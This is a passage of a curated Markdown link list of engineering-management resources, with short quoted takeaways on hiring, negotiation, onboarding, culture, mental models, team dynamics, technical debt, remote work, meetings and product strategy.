- [FizzBuzz 2.0: Pragmatic Programming Questions for Software Engineers](https://web.archive.org/web/20211020130141/https://triplebyte.com/blog/fizzbuzz-2-0-pragmatic-programming-questions-for-software-engineers) - Five multiple-choice questions to easily separate the real software engineers from the rest.
- [FizzBuzz Enterprise Edition](https://github.com/EnterpriseQualityCoding/FizzBuzzEnterpriseEdition) - A satire of over-engineering for the sake of enterprise-grade software.
- [Awesome Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions) - A huge database of questions sorted by topic to get inspiration from.
### Negotiation
A critical step to close up the hiring process.
- [How Not to Bomb Your Offer Negotiation](https://haseebq.com/how-not-to-bomb-your-offer-negotiation/) - “A good negotiator is empathetic and collaborative. They don't try to control you or issue ultimatums. Rather, they try to think creatively about how to fulfill both your and their needs.”
- [How to answer the “What's your current salary?” job interview question](https://web.archive.org/web/20190228034111/https://42hire.com/how-to-answer-the-whats-your-current-salary-job-interview-question-486254cb59ad?gi=a7f878096392) - This article explain the dynamic of that sneaky question and how to defuse it.
- [Salary Negotiation: Make More Money, Be More Valued](https://www.kalzumeus.com/2012/01/23/salary-negotiation/) - “Your salary negotiation — which routinely takes less than 5 minutes to conclude — has an outsized influence on what your compensation is.”
- [Ten Rules for Negotiating a Job Offer](https://haseebq.com/my-ten-rules-for-negotiating-a-job-offer/) - “First part will be about conceptualizing the negotiating process, about how to begin the process and set yourself up for maximal success. The second part will be advice on the actual back-and-forth portion of negotiating and how to ask for what you want.”
## Onboarding
How to get newcomers up to speed with the rest of the team you manage. And how to introduce yourself to teams you just joined or inherited.
- [The Most Important Performance Management Rule For Software Engineers](https://staysaasy.com/startups/2022/04/03/performance-management.html) - “Merge code every week. That's what you should be saying to your new Software Engineering hire.”
- [Optimize Onboarding](https://staysaasy.com/management/2020/08/28/Optimize-Onboarding.html) - “Your organization has painfully slow onboarding. Endless HR videos, slow security processes, a mountain of fragile technology setup - these all make for a shitty and counterproductive start at a company. Optimize your onboarding to get people doing what you hired them to do.”
- [As a manager of a new employee I make an absolute point of being a "helicopter mom" from the moment they hit the area until about week 2 or 3](https://news.ycombinator.com/item?id=24404676) - Navigating a new organization will be hard the first few weeks, and the presence of a manager can help speed things up.
- [A Career Cold Start Algorithm](https://boz.com/articles/career-cold-start) - The author developed an algorithm to ramp-up quickly when joining an existing team where he had a massive knowledge deficit and no pre-existing relationships.
- [Meeting everyone on a new team](https://www.annashipman.co.uk/jfdi/meeting-everyone.html) - Right after inheriting a position at the top of an organization of 50 engineers, the author bootstraped the relationship with that big team by meeting everyone in 30 minutes 1:1s. It was a huge time investment, and despite fears of being boring, it allows for recognizing patterns of what change was needed.
## Motivation
- [Drive: The surprising truth about what motivates us](https://www.youtube.com/watch?v=u6XAPnuFjJc) - Daniel Pink summarizes it concisely: people are motivated by autonomy, mastery and purpose.
- Reflecting on the postulates above, [Bryan Cantrill defines that the role of management](https://twitter.com/bcantrill/status/1216491615264489473?s=20) “is in constructing that environment, not micromanaging it. If engineering performance is suffering, it's (likely) a management problem: wrong problem, wrong mission, or wrong team -- or all three.”
- [What Silicon Valley "Gets" about Software Engineers that Traditional Companies Do Not](https://blog.pragmaticengineer.com/what-silicon-valley-gets-right-on-software-engineers/) - “1. Autonomy for software engineers; 2. Curious problem solvers, not mindless resources; 3. Internal data, code, and documentation transparency; 4. Exposure to the business and to business metrics; 5. Engineer-to-engineer comms over triangle-communication; 6. Investing in a less frustrating developer experience; 7. Higher leverage --> higher {autonomy, pay}”.
- [Some reasons why enterprise software is good and maybe even fun](https://news.ycombinator.com/item?id=21231455) - The majority of us will not build the next unicorn: we statically have a better chance to build enterprise software. The twist? It might even be more interesting than you expect.
### Happiness
- [First, Break All the Rules: What the World's Greatest Managers Do Differently](https://www.amazon.com/dp/1595621113?&linkCode=ll1&tag=kevideld-20&linkId=cc8ac8de84cb23f23ca5577dcb7af139&language=en_US&ref_=as_li_ss_tl) - We learn in this book that employee happiness was not correlated to company success. A comment on HN details the [questions that were highly correlated to company success](https://news.ycombinator.com/item?id=20571219).
- [What makes developers happy? Contributing to open source](https://www.techrepublic.com/article/what-makes-developers-happy-contributing-to-open-source/) - “59% of developers contribute to open source software today. Why do they contribute? The top two reasons are: To improve coding skills and because they believe in open source. Want to keep those developers happy and employed with you? Let them contribute.”
- “My team tracks life impact as a metric (pages outside business hours) and works to drive that down to zero.” ([source](https://twitter.com/dwc/status/962179099606200320)) - Maybe the best indicator of a happy team is how little it is disturbed outside office hours.
- [6 Signs You're a Micromanager (And What to Do Instead)](https://unito.io/blog/micromanagement-signs/) - “You're more involved with your employees than ever, yet they seem disgruntled, unhappy, and less productive than usual. Your check-ins seem to go unappreciated. And no one seems receptive to all of your great feedback on their work. What's going on? Well, we hate to break it to you, but you might be a micromanager.”
### Procrastination
- [3 tricks to start working despite not feeling like it](https://www.deprocrastination.co/blog/3-tricks-to-start-working-despite-not-feeling-like-it) - “'Screw it, let's do it'; Start sloppy; Start small”.
- [Why procrastination is about managing emotions, not time](https://www.bbc.com/worklife/article/20200121-why-procrastination-is-about-managing-emotions-not-time) - “Research shows that once the first step is made towards a task, following through becomes easier”.
## Culture
- [hacker-laws](https://github.com/dwmkerr/hacker-laws) - Laws, Theories, Principles and Patterns that developers will find useful.
- [Adaptation vs adaptability](https://sci-hub.st/10.1016/s0303-2647%2801%2900170-8) - There is a spectrum between perfect efficiency and being completely flexible. This article explores ecosystems and the flows of material and energy between different organisms within the ecosystem. ([hinted by HN comment](https://news.ycombinator.com/item?id=20963513))
- [The IT revolution and southern Europe's two lost decades](https://voxeu.org/article/it-revolution-and-southern-europes-two-lost-decades) - If you still doubt management culture could make or break an industry: “inefficient management practices have kept southern European firms from taking full advantage of the IT revolution”.
- [Meaningful differences that makes Google offices more productive](https://news.ycombinator.com/item?id=20443133) - “The people are smarter, your manager (and their manager) cares a lot about you and it's easy to move.”
- [It's Not Enough to Be Right—You Also Have to Be Kind](https://forge.medium.com/its-not-enough-to-be-right-you-also-have-to-be-kind-b8814111fe1) - “It's harder to be kind than clever”, or put another way by Abraham Joshua Heschel: “When I was young, I used to admire intelligent people; as I grow older, I admire kind people.”
- “It is not your job to protect people (particularly senior management) from the consequences of their decisions. Make your decisions in your own best interest; it is up to the organization to make sure that your interest aligns with theirs.” ([source](https://news.ycombinator.com/item?id=7179946)).
- “If you cannot disrupt a perverted culture by introducing a new culture, the politics of the perverted culture will work against you until you break, align, or leave. It is not unwise to leave before you break and it is easier to leave before you align.” ([source](https://news.ycombinator.com/item?id=20914779)) - At one point, even with the most unselfish of intentions, your attempts to elevate the culture might stall. It is not fair, but it's probably the time to leave.
- [You have only 4 options](https://news.ycombinator.com/item?id=16126082) - “1. Change you; 2. Change the other; 3. Fly; 4. Stay and suffer.” A more concise way of saying the same thing as above.
- [Netflix Culture](https://www.slideshare.net/reed2001/culture-1798664) - “The actual company values, as opposed to the nice-sounding values, are shown by who gets rewarded, promoted, or let go.”
- [High Performance Organizations Reading List](https://github.com/pdfernhout/High-Performance-Organizations-Reading-List) - A list of books, web pages, and videos about how to design better organizations, divided into 3 categories: organization and motivation, health and wellness, and software development specific.
- [A Conversation with Werner Vogels, Learning from the Amazon technology platform](https://queue.acm.org/detail.cfm?id=1142065) - Scaling systems is not only a technical challenge. It has to be about teams and culture too. One lesson learned from the early days of AWS: “Giving developers operational responsibilities has greatly enhanced the quality of the services, both from a customer and a technology point of view. (…) You build it, you run it.”
- [The principles of Amazon service-oriented collaboration](https://www.theregister.com/2019/05/14/amazons_away_teams/?page=2) - A compilation of anonymous sources from AWS which ehoes the interview above: “teams are ostensibly autonomous and can make any important decision needed to meet their goals.”
## Cognitive Tools
Thinking frameworks and mental models to improve decision making, understand systems and solve problems.
### Collections
Expansive lists of well-known models and concepts.
- [Gigerenzer's simple rules](https://www.foundingfuel.com/article/gigerenzers-simple-rules/) - The reason we often relies on these simple heuristics: “outside the lab, in real world, we cannot do well with just with logical rationality, we need ecological rationality - the kind of thinking that helps us get what we want in an environment that's uncertain and dynamic. This means exercising our instincts, using simple but robust rules of thumb.”
- [The Best Way to Make Intelligent Decisions](https://fs.blog/mental-models/#military_and_war) - A collection of 109 models.
- [Mental Models I Find Repeatedly Useful](https://medium.com/@yegg/mental-models-i-find-repeatedly-useful-936f1cc405d#.qb3gkdmtk) - Huge compiled list of mental models. Became the basis of book.
- [40 powerful concepts for understanding the world](https://twitter.com/G_S_Bhogal/status/1225561131122597896) - Concepts are named and describe succinctly in the tweet thread.
- [Tools for better thinking](https://untools.co) - “Collection of thinking tools and frameworks to help you solve problems, make decisions and understand systems.”
- [A Few Rules](https://www.collaborativefund.com/blog/a-few-rules/) - A formalized list of some wisdom you probably encountered elsewhere.
- [Awesome Concepts](https://github.com/lukasz-madon/awesome-concepts) - Laws, principles, mental models and cognitive biases.
- [UX Core](https://keepsimple.io/uxcore) - 105 cognitive biases with simple descriptions, brief and detailed examples.
### Explaining
- [Hanlon's razor](https://en.wikipedia.org/wiki/Hanlon%27s_razor) - “Never attribute to malice that which is adequately explained by stupidity.” My favorite flavor of [Occam's Razor](https://en.wikipedia.org/wiki/Occam%27s_razor), and a crucial mantra to defuse rampant paranoia in a highly political setting.
- [Regression toward the mean](https://en.wikipedia.org/wiki/Regression_toward_the_mean) - Or why after a period of intense euphoria and ambition, things slowly get back to their usual mediocrity.
- [Locus of control](https://en.wikipedia.org/wiki/Locus_of_control) - A framework on “the degree to which people believe that they have control over the outcome of events in their lives, as opposed to external forces beyond their control.”
### Problem Solving
- [First principles and asking why](https://www.theengineeringmanager.com/growth/first-principles-and-asking-why/) - “Our ability to think in abstractions can weaken our judgement, as those abstractions may no longer be as true as they once were. Also a similarly dangerous evolutionary trait is our ability to think in analogy, where we make assumptions based on the comparison of two things that are not actually related.” [Elon Musk explains it better](https://www.youtube.com/watch?v=NV3sBlRgzTI).
- “People who excel at software design become convinced that they have a unique ability to understand any kind of system at all, from first principles, without prior training, thanks to their superior powers of analysis. Success in the artificially constructed world of software design promotes a dangerous confidence.” - A reminder of the needs of humility and recognition of limits in our industry, [from a panel on the Moral Economy of Tech](https://idlewords.com/talks/sase_panel.htm).
- [The Art of Powerful Questions - Catalyzing Insight, Innovation, and Action](https://umanitoba.ca/admin/human_resources/change/media/the-art-of-powerful-questions.pdf) - “Leaders believe that they are being paid for fixing problems rather than for fostering breakthrough thinking.”
### Systems
- [To Get Good, Go After The Metagame](https://commoncog.com/blog/to-get-good-go-after-the-metagame/) - “Every sufficiently interesting game has a metagame above it. This is the game about the game. It is often called 'the meta'. (…) The meta is what you get after you master boring fundamentals. But observing the state of the current meta often reveals what boring fundamentals you need to learn.”
### Brainstorming
- [Yes, and…](https://en.wikipedia.org/wiki/Yes,_and...) - “A rule-of-thumb in improvisational comedy (…). It is also used in business and other organizations as a principle that improves the effectiveness of the brainstorming process, fosters effective communication, and encourages the free sharing of ideas.”
- [Strong Opinions, Weakly Held — a framework for thinking](https://medium.com/@ameet/strong-opinions-weakly-held-a-framework-for-thinking-6530d417e364) - “Allow your intuition to guide you to a conclusion, no matter how imperfect — this is the 'strong opinion' part. Then – and this is the 'weakly held' part – prove yourself wrong.”
### Behavioral
- “People make bad choices if they're mad or scared or stressed.” - [Disney's Frozen](https://i.pinimg.com/originals/b5/17/97/b5179700050b96f91f63e086e053b5ee.jpg).
- [I coached CEOs, founders, VCs and other executive: These are the biggest takeaways](https://leowid.com/2019-2) - Excerpt: “We're all just big, complicated bags of emotion walking around; Power comes with the ability to receive a No; Learning to manage your focus, not your time.”
- [Intellectual Humility Cheat Sheet](https://web.archive.org/web/20200526135036/https://images.squarespace-cdn.com/content/v1/53419b80e4b0cccdfc3bbcf8/1579371627532-SANUEQ1REPX09L8NE1XM/ke17ZwdGBToddI8pDm48kI9Q46LYBJG1wKj9b7EvhSB7gQa3H78H3Y0txjaiv_0fDoOvxcdMmMKkDsyUqMSsMWxHk725yiiHCCLfrh8O1z5QHyNOqBUUEtDDsRWrJLTmWp-RWlGnWD_Yv5axNBE_gjfhPXbI2t7MOi3WVleCqN9URFC-c33mY-I6dtTBVWXC/ih-cheat-sheet-v2.jpg) - “is about being open and able to change your mind about important things, and being able to discern when you should.”
- [Avoiding Intellectual Phase Lock](https://books.google.com/books?id=__CnDwAAQBAJ&lpg=PT21&dq=intellectual%20phase%20lock%20Frank%20Dunnington&pg=PT21#v=onepage&q=intellectual%20phase%20lock%20Frank%20Dunnington&f=false) - Anticipating an important result so much, humans by nature are susceptible to introduce subtle confirmation bias. To combat IPL, you might introduce random unknowns to suppress any attempt to game the system toward the object of your desire. I.e. avoid to cheat yourself to success.
- [The six ways to influence people](https://www.bakadesuyo.com/2013/06/robert-cialdini-influence/) - 6 universal principles of influence that are used to persuade business professionals: reciprocity, consistency, social proof, getting people to like you, authority and scarcity.
- [On Bullshit](http://ruby.fgcu.edu/courses/twimberley/EnviroPhilo/bullshit.pdf) - This [HN comment](https://news.ycombinator.com/item?id=23147605) perfectly describes the concept. “Unlike lying/fraud, where falsehood is instrumental, Frankfurt defined bullshit as potentially false speech where the truth *simply wasn't important*. Bullshit is characterized by giving the *surface appearance* of confidence, intelligence, or a convincing argument; whether it's actually true or not is besides the point.”
## Team Dynamics
On the day-to-day dynamics of the team, and its interaction with other teams.
- [How to Celebrate the Small Wins](https://medium.dave-bailey.com/how-to-celebrate-the-small-wins-4a03004a1816) - My takeaway: “Celebrating Slow Progress; Hunt for Key Milestones”.
- [Team Leader Venn Diagram](https://larahogan.me/blog/team-leader-venn-diagram/) - “A tool for gaining a shared understanding of responsibilities”.
- [When your coworker does great work, tell their manager](https://jvns.ca/blog/2020/07/14/when-your-coworker-does-great-work-tell-their-manager/) - Highlighting unseen work in public allows managers to recognize efforts their reports are doing. Still, there is some cases in which it might put your collegue in a tight spot. So always ask if it's ok first.
- [Eye Candy QA](https://techreflect.net/2020/01/05/eye-candy-qa-2005-2011/) - Retelling of author's job at Apple: “John Louch was my boss. (…) John always shared everything with us, even the *don't share this with your team* stuff. We were people he trusted, so it was as it should be. It made you feel like you were part of something greater.” Or why sharing some open secret promote strong trust in your entourage.
- [A conversation with Elon Musk about Starship](https://youtu.be/cIQ36Kt7UVg?t=203) - In a team with very talented contributors, everyone's is a chief engineer: you are expected to challenge the status-quo and questions other department's constraints. This allow smart engineers to avoid the trap of optimizing for something that should not exist in the first place.
- [Symptoms of Groupthink](https://web.archive.org/web/20210925184712/https://courses.washington.edu/psii101/Powerpoints/Symptoms%20of%20Groupthink.htm) - Overconfidence, tunnel vision and conformity pressure can led a group astray.
- [It's Not Sabotage, They're Drowning](https://shermanonsoftware.com/2019/11/15/its-not-sabotage-theyre-drowning/) - Some kind of push backs shouldn't be interpreted as intentional sabotage, but as drowning people sinking the lifeboat in an attempt to save themselves.
- “Community already exists, you just create a communication platform for it” ([source](https://news.ycombinator.com/item?id=21828666)) - Or why trying to create a community from the ground up might not be the right way of looking at things: a better and more subtle strategy would be to empowers the already existing channels and make them visible.
- [OpenTeams](https://openteam.info) - “Teams can visualize their network of interactions, and also, cross this data with information on a teams demographic, professional, and psychological characteristics.” As manager, make sure these metrics bring positive outcome to the team. It is easy to have them instrumentalized for political reasons.
## Engineering
You're no longer an engineer. Still, your team is responsible for the systems, technology and all the processes surrounding them. You'd better know a bit about engineering tenets.
### The Technical Engineering Manager
You shouldn't spend your time coding. Leave that to the engineers: your value lies elsewhere now. But does that means you must forget all things technical? The answer is an astounding *NO*. Here are some arguments:
- [Do engineering managers need to be technical?](https://increment.com/teams/do-engineering-managers-need-to-be-technical/) - Yes. “Looking forward to the next 30 years of management trends, only a few things seem certain: Managers should be technical, and the definition of technical will continue to change.”
- [If Your Boss Could Do Your Job, You're More Likely to Be Happy at Work](https://hbr.org/2016/12/if-your-boss-could-do-your-job-youre-more-likely-to-be-happy-at-work) - “Although we found that many factors can matter for happiness at work – type of occupation, level of education, tenure, and industry are also significant, for instance – they don't even come close to mattering as much as the boss' technical competence.”
- “The best managers I met tended to be those that if the circumstance required it, could do the job of those two levels below.” ([source](https://news.ycombinator.com/item?id=23891984)) - Another way of putting it: managers needs domain knowledge and to know the work their reports do.
- “Over the years we have developed the policy that it is important for the supervisor to thoroughly know and understand the work of his group.” ([source](https://news.ycombinator.com/item?id=20683609)) - This quote is [from David Packard](https://www.amazon.com/HP-Way-Hewlett-Built-Company/dp/0887307477?_encoding=UTF8&qid=1686404404&sr=1-1&linkCode=ll1&tag=kevideld-20&linkId=e6069674f9b0b4ef884b0f8f70eb8f94&language=en_US&ref_=as_li_ss_tl) (HP co-founder), decades before current [management fad](https://en.wikipedia.org/wiki/Management_fad).
### Systems Complexity
Whatever the technical stack, we are building systems first, and have to manage its complexity.
- [Second-system effect](https://en.wikipedia.org/wiki/Second-system_effect) - “Tendency of small, elegant, and successful systems, to be succeeded by over-engineered, bloated systems”.
- [Living with Complexity, by Donald A. Norman](https://www.amazon.com/Living-Complexity-Donald-Norman-2010/dp/B00DEKM5GK?_encoding=UTF8&qid=1686404524&sr=1-1&linkCode=ll1&tag=kevideld-20&linkId=497ae387bbd398624d897bdfbf90f7b6&language=en_US&ref_=as_li_ss_tl) - In which we learn that, based on [Tesler's law of the conservation of complexity](https://en.wikipedia.org/wiki/Law_of_conservation_of_complexity), “the total complexity of a system is a constant: as you make the person's interaction simpler, the hidden complexity behind the scenes increases. Make one part of the system simpler, said Tesler, and the rest of the system gets more complex.”
- [The Efficiency-Destroying Magic of Tidying Up](https://flocrivello.com/the-efficiency-destroying-magic-of-tidying-up/) - “Efficiency tends to look messy, and good looks tend to be inefficient.” A reminder that sometimes we should just accept [the messiness of the world](https://github.com/kdeldycke/awesome-falsehood).
- [I try to optimize my code around reducing state, coupling, complexity and code, in that order](https://news.ycombinator.com/item?id=11042400) - An engineer's perspective on which priorities should be addressed first to increase robustness of systems.
- [SpaceX's 5-Step design and manufacturing process](https://www.youtube.com/watch?v=t705r8ICkRw&t=13m30s) - “1. Make requirement less dumb; 2. Try to delete parts; 3. Simplify or optimize; 4. Accelerate cycle time; 5. Automate”. See [full transcript](https://news.ycombinator.com/item?id=28517976).
### Technology
- [Choose Boring Technology](http://boringtechnology.club) - “Boring, in the sense that it's well understood.”
- [Choose Well-known Technology](https://news.ycombinator.com/item?id=23445535) - A rephrasing of the above advice. “Choose the technology: 1. You know in and out, and are immediately productive with; 2. Which is sure to be around in 5-7 years, preferably 10-15; 3. For which you are comfortable hiring the next 15 engineers.”
- [Industry Data Models](http://www.databaseanswers.org/data_models/) - A huge list of database templates to represent any business process.
- [I thought that using loops was cheating…](https://www.facebook.com/spliceofficial/photos/a.555206991212765/679408552125941/?type=1&theater) - How much is too much? Libraries, whether software or audio loops, are tools. A typical case of [NIH syndrome](https://en.wikipedia.org/wiki/Not_invented_here) transposed to music production.
- “Lots of people make the mistake of thinking there's only two vectors you can go to improve performance, high or wide. High - throw hardware at the problem, on a single machine. Wide - add more machines. [There's a third direction you can go, I call it *going deep*.](https://news.ycombinator.com/item?id=8902739)”
- [You need to be this tall to use (micro) services](https://news.ycombinator.com/item?id=12509533) - Do not chase the hype. Yet. Micro-services only brings value past a certain infrastructure and organization size. This is a list of stuff you should focus on before bringing micro-services to the mix.
- [LEGO blocks and organ transplants](https://www.johndcook.com/blog/2011/02/03/lego-blocks-and-organ-transplants/) - “People have been comparing software components to LEGO blocks for a couple decades. (…) Integrating two software systems is usually more like performing a heart transplant than snapping together LEGO blocks.”
### Engineering Practices
- [Software Engineering's Greatest Hits](https://www.youtube.com/watch?v=HrVtA-ue-x0) - When scientific method meet the practice of software development. My takeaways: the best metric is less lines of code, there is no 10x developers, too much unused configuration options, pair programing is for transfer of domain-specific knowledge and hackathon don't produce long term projects.
- [Code reviews at Google](https://github.com/google/eng-practices/blob/master/review/reviewer/speed.md#why-should-code-reviews-be-fast-why) - “Why Should Code Reviews Be Fast? (…) To optimize for the speed at which a team of developers can produce a product together, as opposed to optimizing for the speed at which an individual developer can write code.”
- [Google Engineering Practices](https://google.github.io/eng-practices/) - Explains how to perform code reviews and how to submit them.
- [Embedded Rules of Thumb](https://embeddedartistry.com/blog/2018/04/26/embedded-rules-of-thumb/) - Guidelines and heuristics to provide a reasonable approximation of the truth while developing embedded devices. Most also applies to software projects in general.
- [How to Misuse Code Coverage](https://web.archive.org/web/20180508120159/http://www.testingeducation.org/BBST/foundations/Marick_coverage.pdf) - “If a part of your test suite is weak in a way that coverage can detect, it's likely also weak in a way coverage can't detect.” I.e. the great benefit of a coverage report is that it tells you what you forgot to think about when you wrote the test suite itself ([source](https://news.ycombinator.com/item?id=28678098)).
### Technical Debt
- [Tech Due Diligence Calculator](https://decodingvc.gitbooks.io/p9-startup-tech-due-diligence-calculator/content/) - A list of questions by topic to help understand how you are building your tech and engineering team, trying to highlight red flags.
- [Technical Debt Is Like Tetris](https://medium.com/s/story/technical-debt-is-like-tetris-168f64d8b700) - Another way to explain technical debt: “Scenarios like these create technical debt within the product code. A buried gap in Tetris represents technical debt. (…) Paying down technical debt keeps you competitive. It keeps you in the game.”
- [Technical debt as a lack of understanding](https://daverupert.com/2020/11/technical-debt-as-a-lack-of-understanding/) - “The problem lies in "never reorganizing \[the code\] to reflect your understanding." (…) Organizationally, you pay in velocity and turnover; talented people are going to leave after a few rounds of bullshit.”
- [The Framing of the Developer](https://www.amazingcto.com/develop-for-impact-not-for-backlog/) - Default framing is around the backlog, which leads to an asymmetry in which failure is blamed on lacks of developer performance, and success is celebrated as the full realization of the PM's vision. But “technology is the bank that gave credit”, and technical debt should be called product debt “because product took the credit to get a feature faster and must pay back by investing the time to clean up.” The alternative? “Companies today need a frame of impact. In this world-view success is defined by impact.”
- [Goodbye, Clean Code](https://overreacted.io/goodbye-clean-code/) - “My boss invited me for a one-on-one chat where they politely asked me to revert my change. I was aghast. The old code was a mess, and mine was clean! (…) I see now that my 'refactoring' was a disaster in two ways: I didn't talk to the person who wrote it; My code traded the ability to change requirements for reduced duplication”.
## Remote Work
- [The Surprising Traits of Good Remote Leaders](https://www.bbc.com/worklife/article/20200827-why-in-person-leaders-may-not-be-the-best-virtual-ones) - “the confidence, intelligence and extroversion that have long propelled ambitious workers into the executive suite are not enough online because they simply don't translate into virtual leadership. (…) Instead, workers who are organized, dependable and productive take the reins of virtual teams.” As the [source paper](https://link.springer.com/article/10.1007/s10869-020-09698-0) say it best: “virtually, the emphasis shifts from saying to doing.”
- [Things to look for when hiring remote workers](https://news.ycombinator.com/item?id=17022563) - “1. You have to adhere to employment laws within the country you're hiring from; 2. To employ someone full time, many countries require you to have a legally entity within that country; 3. Prioritize countries where we have the most interest; 4. Keep a healthy timezone overlap in each of our teams.”
- [Managing Remote Teams - A Crash Course](http://klinger.io/post/180989912140/managing-remote-teams-a-crash-course) - Compilation of easy rules and processes to bootstrap a remote team.
- [GitLab's Guide to All-Remote](https://about.gitlab.com/company/culture/all-remote/guide/) - “GitLab is the world's largest all-remote company”. Here is what it means and how it works.
- [Asynchronous Communication: The Real Reason Remote Workers Are More Productive](https://doist.com/blog/asynchronous-communication/) - “Remote workers are more productive than their office-bound counterparts.”
- [A guide to distributed teams](https://increment.com/teams/a-guide-to-distributed-teams/) - A nice wrap up on the numerous dispositions required to have a highly effective distributed team.
- [Awesome Remote Job](https://github.com/lukasz-madon/awesome-remote-job) - Resources on working remotely, including job boards, coworking spaces, and a list of companies embracing the culture.
## Meetings
Two humans + a (virtual) room = a meeting.
- [Dear Manager, You're Holding Too Many Meetings](https://hbr.org/2022/03/dear-manager-youre-holding-too-many-meetings) - “Employee productivity was 71% higher when meetings were reduced by 40%. This is largely because employees felt more empowered and autonomous. Rather than a schedule being the boss, they owned their to-do lists and held themselves accountable.”
- [How to have great meetings, according to 200 scientific studies](https://qz.com/work/1713662/how-to-have-great-meetings-according-to-200-scientific-studies/) - A roadmap for getting meetings right.
- [Wadge's Law (of Meetings)](https://billwadge.wordpress.com/2019/03/24/laws-of-the-universe-and-teaching/) - “Before every formal meeting there's a smaller, more exclusive, less formal meeting where all the important decisions are made.”
### 1 on 1
The most important meetings you'll have are frequent 1:1s with your direct reports.
- “1on1s are the managers Swiss army knife” ([source](https://news.ycombinator.com/item?id=22341739)) - Another advice from the source: make them walk'n'talks.
- [Questions for our first 1:1](https://larahogan.me/blog/first-one-on-one-questions/) - A personal list of high-level questions from a manager.
- [1 on 1 Meeting Questions](https://github.com/VGraupera/1on1-questions) - A mega list in which most of them are great starters for conversation, some others are clearly bad ideas. A great source of inspiration nonetheless, but choose carefully.
### Standups
A staple of agile decorum, too often misused.
- [Your daily standups should be async. Here's why](https://web.archive.org/web/20200515171636/https://www.cadencework.com/blog/async-standups.html) - “Daily, real-time meetings aren't practical for remote teams” might be the best practical reason.
- [The Good, the Bad and the Ugly Standup](https://kristoff.it/blog/good-bad-ugly-standup/) - Author experienced 3 formats of stand-ups before ending with one working for his team, and concludes that “the details that make up a good meeting are subtle and the pursuit of an artificial standard of aesthetics will prevent you from doing the necessary experimentation to improve from an ugly equilibrium”.
- [We Cancelled Standups and Let The Team Build. Here's What Happened…](https://www.usehaystack.io/blog/we-cancelled-standups-and-let-the-team-build-heres-what-happened) - Team felt burned out by long, daily status update meetings masquerading as standups. Eliminating these faux standups got the team back on track.
## Facilities
The environment we work in shapes us. Perks too.
- [The impact of the 'open' workspace on human collaboration](https://sci-hub.st/https://royalsocietypublishing.org/doi/full/10.1098/rstb.2017.0239) - Open-plan offices decrease face-to-face collaboration.
- [Noise, Cognitive Function, and Worker Productivity](https://joshuatdean.com/wp-content/uploads/2020/02/NoiseCognitiveFunctionandWorkerProductivity.pdf) - “An increase of 10 dB reduces productivity by approximately 5%.”
- [The Elves Leave Middle Earth – Sodas Are No Longer Free](https://steveblank.com/2009/12/21/the-elves-leave-middle-earth-%E2%80%93-soda%E2%80%99s-are-no-longer-free/) - Company stopped providing free soda. The engineers were very upset, but it was just soda and they could afford it. But really it wasn't soda. Soda was the canary in the coal mine, triggering an exodus of its best engineers.
## Product Management
The Product Manager is supposed to be the *voice of the market*. Here are more links on the role and its reach.
- “You're the broker for a lot of unstructured information and have to fend off all kinds of disruptive influences to land even close to where you're trying to go.” ([source](https://news.ycombinator.com/item?id=19050555))
- [Awesome Product Management](https://github.com/dend/awesome-product-management) - A reference. All the missing pieces are found below.
- [Principles for Great Product Managers](https://reeve.blog/blog/principles/) - A concise wrap-up of all dimensions a PM oprates along.
- [Open Product Management](https://github.com/tron1991/open-product-management) - Resources, interviews, case studies, sample products & projects, communities, open source tools, free & paid services on product management, for technical people to learn the field.
- [Things Many People Find Too Obvious To Have Told You Already](https://twitter.com/patio11/status/936615043126370306) - A set of heuristics on tech companies and the ecosystem they live in.
- [The Heilmeier Catechism](https://www.darpa.mil/work-with-us/heilmeier-catechism) - A simple set of question which helped DARPA evaluates research programs to generate big rewards by taking big risks.
- [Akin's Laws of Spacecraft Design](https://spacecraft.ssl.umd.edu/akins_laws.html) - Lots of wisdom about space program management.
- [How to exit vim, the Product Manager way](https://github.com/hakluke/how-to-exit-vim/blob/master/README.md#the-product-manager-way) - A satire with a grain of truth, especially the comparison between the basic vs experienced level.
### Hiring PMs
On interviewing for a PM position. And how to conduct an interview to assess a PM's abilities.
- [What Everybody Ought To Know About The Product Manager Case Interview](http://www.venturegrit.com/what-everybody-ought-to-know-about-the-product-manager-case-interview/)
- [What are frequently asked questions in product manager interviews?](https://www.quora.com/What-are-frequently-asked-questions-in-product-manager-interviews)
### Product-Market Fit
The first step to validate your product: is the market finding interest in your venture?
- [I wasted \$40k on a fantastic startup idea](https://tjcx.me/posts/i-wasted-40k-on-a-fantastic-startup-idea/) - A tale of building a product no user want to pay for. “You can't just create value for the user: that's a charity. You also can't just create value for your company: that's a scam. Your goal is to set up some kind of positive-sum exchange, where everyone benefits, including you. A business plan, according to this textbook, starts with this simple question: how will you create value for yourself and the company?”
- [David Rusenko - How To Find Product Market Fit](https://www.youtube.com/watch?v=0LNQxT9LvM0) - “Details the story of how Weebly developed one of the most popular website creation and hosting sites on the web today.”
- [Fundamentals of Product-Market Fit](https://www.holloway.com/s/rvc-fundamentals-of-product-market-fit) - A complete overview of the concept: what is product-market fit and to measuring it.
### Product Strategy
Where your product lies in the value chain and how to position it in the market.
- [Sustainable Sources of Competitive Advantage](https://www.collaborativefund.com/blog/sustainable-sources-of-competitive-advantage/) - “The ability to learn faster than your competition; to empathize with customers more than your competition; to communicate more effectively than your competition; The willingness to fail more than your competition; to wait longer than your competition”.
- [Coglode: bite-size behavioral research analysis](https://www.coglode.com) - Mostly applied behaviour insights to help you build up strategies and tactics on product, design and planning.
- [“Why does the tire company rate restaurants”](https://mobile.twitter.com/trevmckendrick/status/1218748974321954816) - A great example on why you should investigate complementary businesses.
- [Laws of Tech: Commoditize Your Complement](https://www.gwern.net/Complement) - A step further from the previous advice, in which is detailed an aggressive strategy to consolidate monopolies.
- Windows Vista as a prime example of a [sacrificial lamb product](https://twitter.com/SwiftOnSecurity/status/851861076429991937): a massive unpopular re-architecture required to pave the way for future innovative release. That's the cautionary tale of why you should be ready for intense criticism and adversity, if by chance or fate your wander down the path of monumental changes in a business software.
- Talking about Vista, Microsoft found out following its unsuccessful launch that [the #1 bug predictor is not technical, it's organizational complexity](https://augustl.com/blog/2019/best_bug_predictor_is_organizational_complexity/).
- [Osborne effect](https://en.wikipedia.org/wiki/Osborne_effect) - “A social phenomenon of customers canceling or deferring orders for the current soon-to-be-obsolete product as an unexpected drawback of a company's announcing a future product prematurely.” This is the price to pay for hasty marketing actions.
